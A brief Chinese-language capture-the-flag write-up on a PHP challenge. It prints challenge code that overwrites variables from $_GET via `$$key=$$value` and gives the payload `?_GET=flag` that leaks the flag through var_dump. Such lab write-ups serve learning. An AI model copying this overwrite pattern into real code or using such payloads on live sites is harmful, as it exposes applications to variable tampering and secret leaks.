<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "沒有零,仔細看看輸入有什麼問題吧";
var_dump($_GET);
}
這道題真的很巧妙("哭~")
涉及到變數覆蓋和變數名和賦值$
首先foreach($_GET as $key => $value)是把GET請求收到的所有引數賦給$key然後把其值賦給$value
構造思路如下:
使得$key=_GET;$value=flag;那麼$$key=$_GET;$$value=$flag;
因此我們將$flag的值成功賦值給$_GET;
成功在最後執行var_dump($_GET)列印出$flag的值
payload如下
?_GET=flag